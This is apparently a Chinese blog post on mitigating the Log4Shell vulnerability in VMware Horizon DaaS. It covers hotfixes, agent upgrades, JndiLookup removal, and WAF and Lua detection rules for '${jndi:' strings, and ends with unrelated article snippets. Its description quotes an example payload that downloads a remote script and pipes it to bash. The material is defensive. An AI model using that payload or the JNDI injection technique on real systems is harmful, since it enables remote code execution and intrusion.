Horizon DAAS环境Log4J远程代码执行漏洞危害减轻措施

article/2025/9/16 3:14:47

一、问题描述

2021 年 12 月 9 日,VMware 威胁分析部门 (TAU) 也注意到Java Log4j 模块中存在的一个大规模、高影响的漏洞。此漏洞称为 Log4Shell,安全跟踪编码为 CVE-2021-44228及后续衍生的 CVE-2021-45046。它是一个未经身份验证的远程代码执行 (RCE) 漏洞。它允许攻击者通过简单地让他们记录特定字符串来在受影响的系统和工作负载上运行命令。进行日志记录的库将该字符串解释为命令,而不是仅仅将其写入日志。例如,攻击者可能利用web门户的登录页面,将攻击字符串放在他们获悉的将被记录的用户名字段中,访问执行后,就会在web服务器执行恶意代码。

Log4j 是一个非常流行的日志库。Java Log4j模块广泛应用于各应用场景,它允许基于 Java 的应用程序更好地管理内部事件日志记录;Log4j 中的漏洞依赖于解析文本字符串的库文件;当 Java 命名和目录接口 (JNDI) 接收到包含特定格式的“${jndi}”命令的日志消息时,就会触发该漏洞。最常见的攻击中,JNDI 命令可利用轻量级目录访问协议 (LDAP) 连接到远程主机 URL,这将导致库进行直接连接以检索和评估结果。据应用程序记录的相关数据,此恶意字符串可能植入从针对 Web 服务器的 HTTP 用户代理到 Minecraft 中的聊天室消息等的任何地方。从以往的攻击经验看,它主要利用 HTTP URI 和用户代理来传递恶意负载。比如:
在这里插入图片描述
上面传入的 User-Agent 字符串,一旦被 Log4j 执行,将转换为可执行的 Linux 命令行:“(wget -q -O- 192.168.0.0:80)|bash”。这就意味着外部攻击者可通过远程系统的未知脚本进行非文件类攻击,该脚本可直接在 Apache 进程下执行。

从vmware官方纰漏的信息来看,有例子表明,即使是桌面应用程序也可能因本地数据输入而受到攻击。由于该漏洞可以多种不同的方式实现,因此很难在不了解应用程序上下文的情况下查明特定库正在执行的异常操作。

目前,易受攻击的 Log4j 版本范围从 2.0 到 2.15。官方建议部署解决此漏洞的最新可用的 Log4j 补丁版本;建议在现有的 Web 服务器日志或其他关键日志中搜索“jndi:ldap”等字符串。

对于 VMware vSphere、VMware Cloud Foundation 和 VMware Cloud 等云基础架构产品,以及 HCX、Site Recovery Manager、NSX-T 和云网关设备等云附加组件,vmware强烈建议限制对管理界面的访问。

二、漏洞影响

2.1 vmware发布的安全建议公告:VMSA-2021-0028.13

受影响的产品有:其中VMware Horizon、VMware Unified Access Gateway、VMware Horizon DaaS、VMware Horizon Agents Installer是我们本次主要关注的对象

VMware Horizon
VMware vCenter Server
VMware HCX
VMware NSX-T Data Center
VMware Unified Access Gateway
VMware WorkspaceOne Access
VMware Identity Manager
VMware vRealize Operations
VMware vRealize Operations Cloud (Cloud Proxy)
VMware vRealize Automation
VMware vRealize Lifecycle Manager
VMware Site Recovery Manager, vSphere Replication
VMware Carbon Black Cloud Workload Appliance
VMware Carbon Black EDR Server
VMware Tanzu GemFire
VMware Tanzu GemFire for VMs
VMware Tanzu Greenplum Platform Extension Framework
VMware Greenplum Text
VMware Tanzu Operations Manager
VMware Tanzu Application Service for VMs
VMware Tanzu Kubernetes Grid Integrated Edition
VMware Tanzu Observability by Wavefront Nozzle
Healthwatch for Tanzu Application Service
Spring Cloud Services for VMware Tanzu
Spring Cloud Gateway for VMware Tanzu
Spring Cloud Gateway for Kubernetes
API Portal for VMware Tanzu
Single Sign-On for VMware Tanzu Application Service
App Metrics
VMware vCenter Cloud Gateway
VMware vRealize Orchestrator
VMware Cloud Foundation
VMware Workspace ONE Access Connector
VMware Horizon DaaS
VMware Horizon Cloud Connector
VMware NSX Data Center for vSphere
VMware AppDefense Appliance
VMware Cloud Director Object Storage Extension
VMware Telco Cloud Operations
VMware vRealize Log Insight
VMware Tanzu Scheduler
VMware Smart Assurance NCM
VMware Smart Assurance SAM [Service Assurance Manager]
VMware Integrated OpenStack
VMware vRealize Business for Cloud
VMware vRealize Network Insight
VMware Cloud Provider Lifecycle Manager
VMware SD-WAN VCO
VMware NSX Intelligence
VMware Horizon Agents Installer
VMware Tanzu Observability Proxy
VMware Smart Assurance M&R
VMware Harbor Container Registry for TKGI
VMware vRealize Operations Tenant App for VMware Cloud Director
VMware vRealize True Visibility Suite

更多参看:VMSA-2021-0028.13。

2.2、本次产品影响分析及处理

1)不受 CVE-2021-44228 和 CVE-2021-45046 影响的产品

VMware vSphere ESXi
VMware Cloud Director (VCD)
VMware Cloud Director Availability
VMware NSX Advanced Load Balancer (Avi)
VMware Workspace ONE Assist
VMware RemoteHelp
VMware vCloud Usage Meter
VMware Tanzu Kubernetes Grid
SaltStack
VMware App Volumes
VMware ThinApp
ThinApp SDK
Dynamic Environment Manager (DEM)
Workspace ONE Unified Endpoint Management (UEM)
VMware Postgres
VMware Tanzu RabbitMQ
VMware Tanzu RabbitMQ for Kubernetes
VMware Tanzu RabbitMQ for VMs
VMware Tanzu SQL with Postgres for Kubernetes
VMware Tanzu SQL with MySQL for Kubernetes
Data Management for VMware Tanzu (DMS)
VMware Telco Cloud Automation (TCA)
VMware Workstation
VMware Fusion
VMware Skyline Collector virtual appliance
Workspace ONE Intelligence
MySQL for TAS (Tanzu Application Service)
VMware Workstation Player
Cloud Director App Launchpad
AirWatch Cloud Connector
VMware NSX Lastline Defender On-Premises
VMware NSX Lastline Defender Hosted/SaaS
Update Manager Download Service (UMDS)
Metrics Store
Event Alerts
VMware Workspace ONE Assist for Horizon
VMware Tools
VMware Tanzu Toolkit for Kubernetes
Secure Email Gateway
VMware Cloud Director App Launchpad
Skyline Health Diagnostics
Carbon Black App Control
VMware Tanzu Build Service
Workspace ONE Tunnel
VMware Email Notification Service 2
VMware vRealize Log Insight Cloud Proxy
VMware Remote Console (VMRC)
VMware Cloud Services Cloud Proxy
vRealize AI Cloud Cloud Proxy

2)对于Horizon DaaS :

CVE-2021-44228 和 CVE-2021-45046 已在 Horizo​​n DaaS 9.1.2 及更高版本中得到解决。 VMware 建议您尽快升级到 Horizo​​n DaaS 9.1.2 或更高版本以解决这些问题。

对于Horizo​​n DaaS 9.1.2 之前的版本,如VMware Horizon DaaS 9.0.X 、VMware Horizon DaaS 9.1.X (可升级到9.1.1),可采用如下临时解决方案:

1>下载对应版本的 tgz补丁包:
在这里插入图片描述

1、Horizon Daas 9.1.1。
2、Horizon DaaS 9.1.0 。
3、Horizon DaaS 9.0.1 及之前版本。

2>将对应版本的补丁版在HVM的Rundeck管理界面"Rundeck UI --> Projects --> Horizon-DaaS-Artifact-Upload"页面进行上传。或者也可以手动拷贝到HVM主机上的/opt/hvm/hotfixes目录下,执行

chmod 744 file1.tgz 
chown -R rundeck:rundeck file1.tgz 

在这里插入图片描述

3>HVM管理页面更新补丁包信息,单击Refresh Hotfix List执行刷新任务,然后再单击Apply Hotfix to DaaS Appliances修护SP和RM设备;

4>再次Apply Hotfix to DaaS Appliances,对租户的TA进行修护。

5>验证:登录相应的DAAS设备,确认当前Log4j-core模块版本为2.16即可。或者在HVM页面,导航rojects > Horizon-DaaS-HotFix-Managemen>Jobs > Detect Hotfixes on DaaS Appliances,执行完job,就可在页面上查看输出,包括您选择的组织中的所有设备的列表以及安装在每个设备上的修补程序。

sudo find /usr -name log4j-core*.jar   //输出类似如下即可/usr/local/desktone/release/dt-platform-21_1_0/deploy/dt-tenant-node-21.1.0-bin/appblast/WEB-INF/lib/log4j-core-2.16.0.jar /usr/local/desktone/release/dt-platform-21_1_0/deploy/dt-tenant-node-21.1.0-bin/horizonadmin/WEB-INF/lib/log4j-core-2.16.0.jar /usr/local/desktone/release/dt-platform-21_1_0/deploy/dt-deployer-lib-21.1.0-bin/lib/log4j-core-2.16.0.jar 

注:对Horizon DAAS设备的本次修补,需要对SP和RM,TA设备等进行重启,才能生效;可升级完成后,手动执行重启操作。Horizo​​n Version Manager 会在我们应用修补程序之前和之后自动拍摄所处理设备的快照。后期可在 vCenter Server 中导航到该设备并选择所需的快照进行设备还原/恢复。

更多参看:官方文档。

上述补丁包修复是通过使用该漏洞无法利用的新版本的 log4j 来防止利用 log4j 漏洞(CVE-2021-44228 和 CVE-2021-45046)。

3)对于Horizo​​n Agents,vmware官方显示只能升级版本来修复

Horizon DaaS 版本Horizon Agents Installer (HAI) 版本受影响状态处理建议
9.1.x21.3.0, 20.4.0不受影响无需修复
9.1.x, 9.0.x20.3.1受影响1))升级HAI 版本到: 20.3.1 (build 19264881)
2)升级Horizon Agent到最新
9.1.x, 9.0.x20.3.0受影响1)升级HAI 版本到: 20.3.0 (build 19264895)
2)升级Horizon Agent到最新

升级参看:官方agent升级。

临时缓解:删除 JndiLookup 类

sudo zip -q -d $(find /usr/lib/vmware/viewagent/ -name log4j-core.jar 2>/dev/null) org/apache/logging/log4j/core/lookup/JndiLookup.class

禁用 lookups,之后重启viewagent服务:

/usr/lib/vmware/viewagent/bin/StartAgent.sh
/etc/rc.d/init.d/viewagent
/etc/init/viewagent.conf
/etc/init.d/viewagent.suse
#在上述文件中查找-Dfile.encoding=UTF-8,在其前面增加
-Dlog4j2.formatMsgNoLookups=true

验证:

unzip -l $(find /usr/lib/vmware/viewagent/ -name log4j-core.jar 2>/dev/null) | grep JndiLookup.class | grep -v grep

更多参看本地agent修复。

4)HAi升级:Horizon Agents Installer (HAI)

说明:本文参考kb87101。

5)对于DaaS 8.0.1版本,可关注

VMSA

参考:Apache Log4j2远程代码执行漏洞处理。

6)利用NSX AVI的WAF功能来临时减轻

由于 NSX 高级负载平衡器 (Avi) 平台提供多层应用程序保护,因此可以通过启用不同的功能来保护。VMware建议将 NSX Advanced Load Balancer (Avi) WAF 或 NSX Advanced Load Balancer (Avi) DataScript + IP 信任阻止结合使用。

下载:Avi CRS 2021-4,并在强制模式下启用新规则 4022060 和 4022061。示例如下:
在这里插入图片描述
在这里插入图片描述
以上还可以通过加2条PRE-CRS 规则来实现,效果一致;在强制模式下, 创建一个PRE-CRS组,将下图中2条规则加入到 PRE-CRS组里:

SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@* "@rx \${(?:jndi|ctx):" "id:4099843,phase:2,block,t:none,t:lowercase,t:urlDecodeUni,multimatch,msg:'CVE-2021-44228 / CVE-2021-45046 log4j vulnerability', tag:'attack-rce', tag:'paranoia-level/1', severity:'CRITICAL'"#rule2
SecRule REQUEST_LINE|ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES|REQUEST_BODY|REQUEST_HEADERS|XML:/*|XML://@*  "@rx \${[^}]{0,4}\${" "id:4099844,phase:2,block,t:none,t:lowercase,t:urlDecodeUni,multimatch,msg:'CVE-2021-44228 / CVE-2021-45046 log4j vulnerability evasion', tag:'attack-rce', tag:'paranoia-level/1', severity:'CRITICAL'"

在这里插入图片描述
当然你也可直接启用“apache” 保护:
在这里插入图片描述
在这里插入图片描述
使用 DataScrip来阻止CVE-2021-44228 攻击:

-- detect CVE-2021-44228 Log4j
local function check_for_attack (location, value)if type(value) == "string" thenlower = string.lower(value)if string.contains(lower, "${jndi:") thenavi.vs.log("CVE-2021-44228 Log4j attack detected at " .. location)avi.http.response(400)end-- detect evasionif string.match(lower, "${%a*${") thenavi.vs.log("CVE-2021-44228 Log4j attack (evasion attempt) detected at " .. location)avi.http.response(400)endend
endlocal function check_table(location, table)if table thenfor name, value in pairs(table) docheck_for_attack(location, name)if type(value) == "table" thenfor index, value in pairs(value) docheck_for_attack(location .. "." .. name, value)endelsecheck_for_attack(location .. "." .. name, value)endendend
endlocal function check_request_body()-- by default, we only inspect the first 128 kbbody = avi.http.get_req_body(128)if body thenbody = avi.utils.uri_decode(body)if body thencheck_for_attack("BODY", body)endend
endcheck_table("REQUEST_HEADERS", avi.http.get_header())
check_table("QUERY_ARGS", avi.http.get_query(avi.QUERY_TABLE))
check_for_attack("PATH", avi.http.get_path())
check_for_attack("URI", avi.http.get_uri())
check_request_body()

在这里插入图片描述
上述文件会针对攻击验证请求标头的所有部分,并检查是否逃避检测;在应用程序配置文件中启用 request_body_buffering还可检查请求正文。保护示例如下:
在这里插入图片描述
VMware官方表明,许多不断扫描互联网以查找易受攻击的机器的 IP 实际上都被我们的 IP 信任服务所覆盖,据报道,许多扫描都通过 TOR 网络进行路由。强烈建议使用随附的 NSX 高级负载平衡器 (Avi) IP 信任保护来阻止这些已知威胁参与者访问您的应用程序。
在这里插入图片描述
注:在虚拟服务上启用 WAF 和 IP 信任具有先决条件,包括正确调整服务引擎的大小和测试应用程序。因此,不建议直接为生产虚拟服务启用 WAF 和 IP 信任,请谨慎处理。

三、附录

提高 VMware Horizo​​n DaaS 设备中的日志记录级别:登录TA设备

cp -pr /usr/local/desktone/release/active/conf/desktone-log4j.properties /usr/local/desktone/release/active/conf/desktone-log4j.properties.src
vi /usr/local/desktone/release/active/conf/desktone-log4j.properties  //将下述的info级别修改为DEBUGlog4j.rootCategory=INFO, FILE
#log4j.appender.FILE=org.jboss.logging.appender.RollingFileAppender
log4j.appender.FILE=com.desktone.logger.FilteringRollingFileAppender
log4j.appender.FILE.errorHandler=org.jboss.logging.util.OnlyOnceErrorHandler
log4j.appender.FILE.File=/var/log/desktone/desktone.log
log4j.appender.FILE.Append=true
log4j.appender.FILE.Threshold=INFO
log4j.appender.FILE.maxFileSize=10MB
log4j.appender.FILE.maxBackupIndex=100
log4j.appender.FILE.layout=org.apache.log4j.PatternLayout
log4j.appender.FILE.layout.ConversionPattern=%d %-5p [%c]-[%t] %m%n#####################
# Limit categories
#####################log4j.logger.com.desktone=INFO
log4j.logger.com.desktone.server.accessFabric.FabricDelegateImpl=INFO
log4j.logger.com.desktone.server.database.slony.SlonyProviderImpl=INFO
log4j.logger.org.jboss=INFOtolog4j.rootCategory=INFO, FILE
#log4j.appender.FILE=org.jboss.logging.appender.RollingFileAppender
log4j.appender.FILE=com.desktone.logger.FilteringRollingFileAppender
log4j.appender.FILE.errorHandler=org.jboss.logging.util.OnlyOnceErrorHandler
log4j.appender.FILE.File=/var/log/desktone/desktone.log
log4j.appender.FILE.Append=true
log4j.appender.FILE.Threshold=DEBUG
log4j.appender.FILE.maxFileSize=10MB
log4j.appender.FILE.maxBackupIndex=100
log4j.appender.FILE.layout=org.apache.log4j.PatternLayout
log4j.appender.FILE.layout.ConversionPattern=%d %-5p [%c]-[%t] %m%n#####################
# Limit categories
#####################log4j.logger.com.desktone=DEBUG
log4j.logger.com.desktone.server.accessFabric.FabricDelegateImpl=INFO
log4j.logger.com.desktone.server.database.slony.SlonyProviderImpl=INFO
log4j.logger.org.jboss=INFO

http://chatgpt.dhexx.cn/article/g9SOsUqJ.shtml

相关文章

daas 数据即服务_什么是daas

展开全部 DAAS,是数字音频分析系统,是一种基于PC的测试系统,支持DOS和WINDOWS操作系统,DaaS是Data-as-a-service(数据即服务),62616964757a686964616fe59b9ee7ad9431333431353365是继 IaaS、PaaS、SaaS之后又一个新的服…

DaaS架构及落地 (一)

1. 序言 DaaS 数据即服务是一种服务模式,即将数据以服务的形式,向客户提供价值,参与到客户的业务中,它也是软件即服务的一种细分领域。同时DaaS 拥有云计算的通用特点,包括以租代买,按需付费、按用付费。 …

IaaS、Saas、Paas、DaaS平台理解

1.IaaS IaaS是Infrastructure as a server的缩写,意思是基础设施即服务。又云端公司把IT环境的基础设施建设好,然后直接对外出租硬件服务器或者虚拟机。消费者可以利用所有计算基础设施,包括处理CPU、内存、存储、网络和其它基本的计算资源&…

到底什么才是DaaS数据即服务?别再被其他DaaS概念给误导了

在一切皆可服务化的XaaS时代,大家对DaaS(Data As a Service,数据即服务)的“误导”越来越深。 网上搜索会发现DaaS有很多种与数据无关的解释,有人把它翻译为Desktop as a Service(桌面即服务)&…

究竟什么是数据即服务(DaaS)

导读: DaaS的概念一直以来在国内都比较冷门,前段时间阿里巴巴整合了数据中台、业务中台、服务系统等多个核心部门,推出数据智能服务新公司瓴羊,才给这个冷门词汇带来了热度。 但其实阿里定义的DaaS(Data intelligence …

虚拟机中linux连网,虚拟机Linux上网的方法

好久以前记得用RedHat做过,不过现在好久没用虚拟机了,并且用的是Ubuntu,竟然忘了怎么上网了,刚才一个同学让我过去帮他,真的很窘啊 1)选用虚拟机--配置--网络适配器--NAT,选择后虚拟机不用做任何配置&#…

ubuntu 虚拟机设置无线上网

ubuntu 虚拟机设置无线上网 一、电脑是采用连接无线wifi上网的情况下 二、电脑是采用宽带有线连接的情况下 电脑主机虚拟机VMware Workstation11安装Ubuntu14.04.3 LTS 一、电脑是采用连接无线wifi上网的情况下 这种情况是VMware Workstation11里面的Ubuntu14.04.3 连接上网…

VMware虚拟机设置上网及与本地计算机通信

我们在装完VMware虚拟机之后,经常需要虚拟机与本地计算机通信,或者需要虚拟机上网,下面我们详解来了解下原理及设置流程。 在安装完成VMware之后,软件会在系统中创建两个虚拟的网卡,分别是VMnet1和VMnet8,其…

VMware虚拟机网络设置(超详细,必看)

一.centors网络配置说明 虚拟机网络配置有三种模式:Brigded桥接模式、NAT模式、Host-only模式 1.Bridge桥接模式: 默认使用Vmnet0,不提供DHCP服务 虚拟机与外部主机在一个网段上,相当于一个主机 既能与局域网外进行通信&#…

VM 14 CentOS 7.0虚拟机上网设置方法

这两天利用VM14,装了个CentOS进行Qt学习,为了实现CentOS能够直接上网,折腾了老半天才终于找到正确的方法,在此做一记录。环境:1)VMware-workstation-full-14.0.0; 2)CentOS 7.0&…

Vmware 虚拟机 网络设置

弄了很久,每次重启虚拟机都会网络连接不上 于是,这次弄好了之后,决定记录一下 我的虚拟机 主要用于PHP swoole 需要装在linux 上面,不得不通过虚拟机安装。学习一下 一、关于虚拟机的设置 1.选择NAT 模式 2.设置NAT模式相关 3…

vmware虚拟机网络设置方法(轻松版)

引子 我们在使用vmware虚拟机时,配置频度最高的往往是网络配置,最让人困惑的往往也是网络设置,虚拟机如何实现和宿主机的通信?虚拟机如何实现与宿主机之外的外部主机通信?同一个宿主机内的多个虚拟机之间如何通信&…

vmware虚拟机怎么设置上网

点击物理主机 2-右键 点击属性 找到ipv4 3 在设置vmware虚拟机 4-在使用命令 ifconfig 查看虚拟机的ip 里面含有 inet addr ip 就是现在虚拟机的IP地址 5-在使用XShell 链接该ip地址 就可以链接的

虚拟机上网设置——桥接模式 NAT模式

1、桥接模式和NAT模式 (1)NAT模式:虚拟机通过PC机的网卡去通信,虚拟机依赖PC机上网,可以理解成虚拟机被包含在PC机中,对外还是只有PC机一台电脑; (2)桥接模式&#xff1a…

VMWare虚拟机网络配置

Bridged(桥接模式) 桥接模式相当于虚拟机和主机在同一个真实网段,VMWare充当一个集线器功能(一根网线连到主机相连的路由器上),所以如果电脑换了内网,静态分配的ip要更改。图如下: NAT(网络地址转换模式) NAT模式和桥接模式一样可以上网,只不过,虚拟机会虚拟出一个…

vmware虚拟机上网设置教程(vmware虚拟机设置网络)

安装vmware后,一般都会有虚拟机能连互联网的需求(如虚拟机中Linux想访问百度),vmware为我们提供了几种连接网络的方式,它们分别是:Bridged(桥接模式)、NAT(网络地址转换模…

Virtualbox虚拟机网络配置详解

目录 1. 使用桥接(Bridged Adapter)模式。 2. 使用HostOnly模式网络共享的方式。 3. 使用双网卡,HostOnly模式NAT转换。 在默认情况下,Virtualbox虚拟机选择的上网方式是:网络地址转换(NAT)&…

Python—多线程编程(一)线程的创建,管理,停止

Python—多线程编程(一)线程的创建,管理,停止 先简单介绍一下线程的概念(以下内容来源于百度): 线程(英语:thread)是操作系统能够进行运算调度的最小单位。…

多线程编程——基础语法篇

多线程编程 文章目录 多线程编程一、Thread1.1 Thread用法一1.2、Thread用法二 (Runnable)1.3、Thread用法三1.4、Thread用法四1.5、Thread用法五(lambda) 二、run 和 start 的区别三、并发编程有何用?四、Thread的方法和属性五、…

Java中的多线程编程(超详细总结)

文章目录 Java中的多线程编程(超详细总结)一、线程与多线程的概念二、线程与进程之间的关系三、一个线程的生命周期四、多线程的目的和意义五、线程的实现的方式 Java中的多线程编程(超详细总结) 一、线程与多线程的概念 线程&a…